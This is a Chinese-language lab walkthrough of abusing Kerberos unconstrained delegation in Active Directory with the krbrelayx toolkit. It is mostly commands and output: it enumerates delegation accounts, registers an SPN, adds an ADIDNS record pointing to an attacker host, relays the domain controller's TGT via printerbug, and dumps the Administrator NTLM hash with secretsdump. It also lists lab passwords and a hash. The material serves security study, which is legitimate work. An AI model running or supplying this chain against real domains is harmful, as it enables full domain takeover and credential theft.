参考链接:
- https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
- https://github.com/dirkjanm/krbrelayx/issues/9
- https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/
基本原理
这里不对非约束委派的具体细节进行深究,这里只讲一下利用的原理,如果你想了解数据包层面的原理分析,请移步至这篇文章:Kerberos非约束委派数据包分析
- 域内的用户A在访问由非约束委派账户B运行的服务S
- 向KDC请求服务票据
- KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
- 该票据由服务账户也就是非约束委派账户B的hash进行加密
- 用户A向其请求的服务器发送带有其TGT的服务票据
- 服务器拿到后使用服务账户B解密即可获得用户A的TGT
如果这里的A是域管理员或者域控制器的机器账户,那么我们就有可能获得整个域的管理权限
域环境
在执行到最后一步,也就是触发printerbug的时候,发现总是报SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND
,在krbrelay项目的issues里翻了翻,找到了相关问题:https://github.com/dirkjanm/krbrelayx/issues/9,在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到spoolss
命名管道,因为它不在RPC中暴露该服务,因此下面的操作虽然是在server 2008上执行的,但是大家复现的时候要在server 2012 R2上进行操作
域控:
- Windows Server 2012 R2
- domain1.com
内网脱域linux主机:
- centos7
- root / 1234
需要关闭selinux,不然krbrelay开放的端口无法被外部访问,禁用方法参考https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/,最后还要再执行一下iptables -F
清除防火墙规则
非约束委派账户:
- ohyeah / OMG Step Bro I'm stuck
已经获得的一个低权限的域内账户:
- low_prv / easyp@ss123
创建非约束委派账户
为该账户注册spn:
setspn -U -A servicetype/somecomputer:somport/servicename ohyeah
这里只用作演示,SPN是乱写的,只要符合格式即可<service class>/<host>:<port>/<service name>
注册完成之后,ohyeah账户的属性中会出现委派选项卡,勾选第二个即可
当然在实战环境中,我们需要自己定位非约束委派账户,使用dirkjanm的ldapdomaindump工具可以查找域内的非约束委派账户:
[root@localhost ldapdomaindump]# python3 ldapdomaindump.py -u domain1\\low_prv -p easyp@ss123 192.168.60.138
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
[root@localhost ldapdomaindump]# grep TRUSTED_FOR_DELEGATION domain_users.grep
ohyeah ohyeah ohyeah Domain Users 12/22/20 06:52:40 12/22/20 07:33:20 12/22/20 07:14:59 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, TRUSTED_FOR_DELEGATION 12/22/20 06:52:40 S-1-5-21-907132375-727761492-2815538385-1104
至于通过什么样的手段去获得该非约束委派账户的密码以及内网的linux服务器权限这里就不细讲了,没有固定的方法,这取决于各位在内网中进行信息搜集的和凭证获取的能力
然后我们用这个非约束委派账户再去注册一个SPN,主机就是我们已经控制的centos7,这里我们可以通过代理使用addspn.py
进行SPN的注册,该脚本是dirkjanm工具集krbrelayx中的其中一个
$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150BB9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
提示我们当前账户缺少适当的权限进行SPN的注册,一般情况下,非约束委派账户都是拥有对SPN的读写权限的,因此我们进行如下设置
至此,非约束委派账户创建完毕
使用非约束委派账户注册SPN
再次进行注册,其中192.168.60.138
是域控制器地址:
$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
添加DNS记录
然后我们要把刚才注册的SPN中的域名whatthefuck.domain1.com
指向我们已经控制的centos7,使用dnstoo.py
可以完成该操作
$ python dnstool.py -u domain1.com\low_prv -p easyp@ss123 -r whatthefuck.domain1.com -a add -d 192.168.60.228 192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
添加之后,whatthefuck.domain1.com
就会解析到我们的cnetos7的IP:192.168.60.228
,这个记录最迟会在3分钟后生效,因为ADIDNS从LDAP中刷新纪录是有时间间隔的
开启Kerberos中继
下面我们在centos7上开启krbrelay,这一步就没办法通过代理操作了,只能在改linux上进行操作,一般情况下linux服务器的80端口(httpd)都是开着的,因此我们需要对krbrelayx.py
的http服务监听端口进行更改,在94行添加c.setListeningPort(12138)
即可:
然后开启krbrelay,-s参数的值就是salt,格式为域名全大写+用户名
开始使用的是python2,但是报了编码相关的错误,如果大家遇到了这种错误,可以尝试一下python3,应该能解决问题
[root@localhost krbrelayx-master]# python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
利用printerbug触发DC回连
一切准备就绪,现在只需要用printerbug漏洞触发域控制器向我们发起访问即可
python printerbug.py DOMAIN1/ohyeah:"OMG Step Bro I'm stuck"@192.168.60.138 whatthefuck.domain1.com
krbrelay收到来自DC的连接:
[root@localhost krbrelayx]# python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.60.138
[*] Got ticket for WIN-4T6K0ODHA2F$@DOMAIN1.COM [[email protected]]
[*] Saving ticket in WIN-4T6K0ODHA2F$@[email protected]
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
至此我们已经获取到了DC的机器账户WIN-4T6K0ODHA2F$
的TGT:[email protected][email protected]
提升至域控权限
设置环境变量,那个ccache文件又长还带了一个$,我干脆把它重命名为123.ccache:
[root@localhost krbrelayx]# mv *.ccache 123.ccache
[root@localhost krbrelayx]# export KRB5CCNAME=/tmp/tmp/krbrelayx/123.ccache
在/etc/hosts
文件中添加如下两行记录用于解析域名:
192.168.60.138 win-4t6k0odha2f.domain1.com
192.168.60.138 domain1.com
然后使用secretsdump.py
获取指定域用户的hash,比如administrator:
[root@localhost krbrelayx]# secretsdump.py -no-pass -k win-4t6k0odha2f.domain1.com -just-dc-user administrator -just-dc-ntlm
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:061c54f1f5311e1f47958465e16bab65:::
[*] Cleaning up...
至此,提权成功